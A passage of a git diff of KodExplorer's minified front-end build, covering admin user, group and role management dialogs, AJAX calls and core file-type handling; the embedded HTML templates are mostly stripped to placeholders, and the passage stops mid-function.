n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"¶m="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s="write",r=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};console.log(i),p(i,!0)},l=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};p(i)},c=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},d=function(){var e=System.systemGroup.getList(),t=jsonDecode($("#group_info").attr("value")),i="";for(var a in t)e[a]&&(i+="read"==t[a]?''+e[a].name+"":''+e[a].name+"");$(".dlg_group_display .cell").html(i+'
      ')},p=function(n,s){var r=System.systemRole.getList(),l=e("./tpl/user.html");s&&(l=e("./tpl/user_import.html"));var p=template.compile(l),f=p({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:f});c(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){u($("#group_info").val(),function(e){$("#group_info").val(e),d()})}),d(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},u=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('').before(''+core.iconSmall("groupGuest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]=s,c()}}},r=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t&&t.expandAll(!0)},l=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),r()},c=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t={read:LNG.system_role_read,write:LNG.system_role_write},i="",a='class="selected"',n="btn-primary";"read"==e&&(i='class="selected"',a="",n="btn-default");var o='
      ";return o};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='
    • '+' '+n[a].name+""+' '+i(t[a])+"
    • ");$(".select_group_right").html(e)},d=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],c()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,c())})};l(),c(),d()},f=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},h=function(){$("body").click(f).contextmenu(f),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];_(e,a,"")}})},m=function(){$(".size_max_set input").live("input",c),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return _(i,a,t,e),!0}})},_=function(e,i,a,n){var s=$("#content_system_group .group_id").html();switch(e){case"user_add":l(s);break;case"user_import":r(s);break;case"group_remove_from":o("group_remove_from",i,s);break;case"group_add":u("{}",function(e){o("group_add",i,e)});break;case"group_reset":u("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var d=a.find(".user_select");d.attr("checked")?d.removeAttr("checked"):d.attr("checked","true"),v();break;case"user_list_edit":p(t[i[0]]),stopPP(n);break;default:}},v=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},g=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),v()}),$("#content_system_group .user_select").live("click",function(){v()})};return g(),m(),h(),{resetList:function(){t=void 0},loadList:a,add:l}}),define("app/src/setting/system/tpl/user_list.html",[],'
      \n
      \n \n \n \n
      \n \n
      \n \n \n
      \n\n
      \n \n \n \n
      \n
      \n
      \n \n \n \n \n \n \n \n \n \n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n \n \n \n \n \n \n \n {{/if}}\n {{/each}}\n \n
      {{LNG.username}}{{LNG.system_member_role}}{{LNG.space_size_use}}{{LNG.system_member_group}}
      \n {{if v.user_id!=\'1\'}}{{/if}}\n \n {{v.name}}\n {{v.user_id}}\n {{role_list[v.role]}}{{v.config.size_use}}/{{v.config.size_max}}\n {{each v.group_info as group_read group_id}}\n {{if group_list[group_id]}}\n {{if group_read=="read"}}\n {{group_list[group_id][\'name\']}}\n {{else}}\n {{group_list[group_id][\'name\']}}\n {{/if}}\n {{else}}\n \n {{/if}}\n {{/each}}\n
      \n
      \n\n\n'),define("app/src/setting/system/tpl/user.html",[],'
      \n
      \n
      \n {{if !user_info.name}}\n {{LNG.system_member_add}}\n {{else}}\n {{user_info.name}} \n {{/if}}\n
      \n {{if user_info.name}}\n \n {{/if}} \n
      \n
      \n
      \n {{LNG.username}}:\n \n {{if user_info.name}}\n \n {{else}}\n {{LNG.username}}\n {{/if}}\n
      \n
      \n
      \n {{LNG.password}}:\n \n {{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}\n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_member_role}}:\n \n
      \n \n \n
      \n\n \n {{LNG.more}}\n
      \n
      \n\n
      \n
      \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
      \n
      \n
      \n\n
      \n {{LNG.system_member_group}}:\n \n
      \n
      \n \n
      \n
      \n
      \n
      \n\n \n
      \n'),define("app/src/setting/system/tpl/user_import.html",[],'
      \n
      \n
      \n {{LNG.system_member_import}}\n
      \n
      \n
      \n
      \n {{LNG.username}}:\n \n {{#LNG.system_member_import_desc}}\n
      \n
      \n
      \n {{LNG.password}}:\n \n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_member_role}}:\n \n
      \n \n \n
      \n\n \n {{LNG.system_member_role}}\n
      \n
      \n
      \n {{LNG.system_member_group}}:\n \n\n
      \n
      \n \n
      \n
      \n
      \n
      \n\n \n
      \n'),define("app/src/setting/system/tpl/group_select.html",[],'
      \n
      \n
      \n {{LNG.system_group_select}}:\n {{LNG.system_group_select_result}}:\n
      \n
      \n
      \n
      \n
        \n
      \n
      \n
      \n
      \n
      \n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before(''+core.iconSmall("groupGuest")+"").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n];if(a[o.parent_id])a[o.parent_id].child||(a[o.parent_id].child=[]),a[o.parent_id].child.push(a[o.group_id]);else{var s=a[o.group_id];s&&i.push(s)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('
      '+LNG.system_error+"
      ")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('
      '+LNG.system_error+"
      "),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=u();o.parent_id=n.id,v(o);break;case"edit":var o=u(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":f(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},u=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},f=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=u(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select");t&&t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t)}),$(".remove_button").unbind("click").bind("click",function(){f(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val()); -""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=u(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=u(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=u();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:u,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'
      \n
      \n
      \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
      \n {{if groupInfo.name}}\n \n {{/if}}\n
      \n
      \n
      \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_group_father}}:\n \n \n \n
      \n
      \n\n
      \n  \n {{LNG.more}}\n
      \n
      \n
      \n
      \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
      \n
      \n
      \n
      \n\n \n
      \n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}})},a=function(){var t="";$.each(e,function(e,i){t+='
    • '+""+i.name+'
    • '}),$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").show(),void 0==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={},Tips.tips(LNG.system_role_admin_set,"warning")),void 0!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){$.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?
      "+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}})},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_add":n();break;case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'null'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/setting/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","./fav","./setting","./system/system_setting","./system/system","lib/ztree/ztree","./system/system_member","./system/system_group","./system/system_role"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),Fav=e("./fav"),Setting=e("./setting"),e("./system/system_setting"),System=e("./system/system"),core.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
      ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var 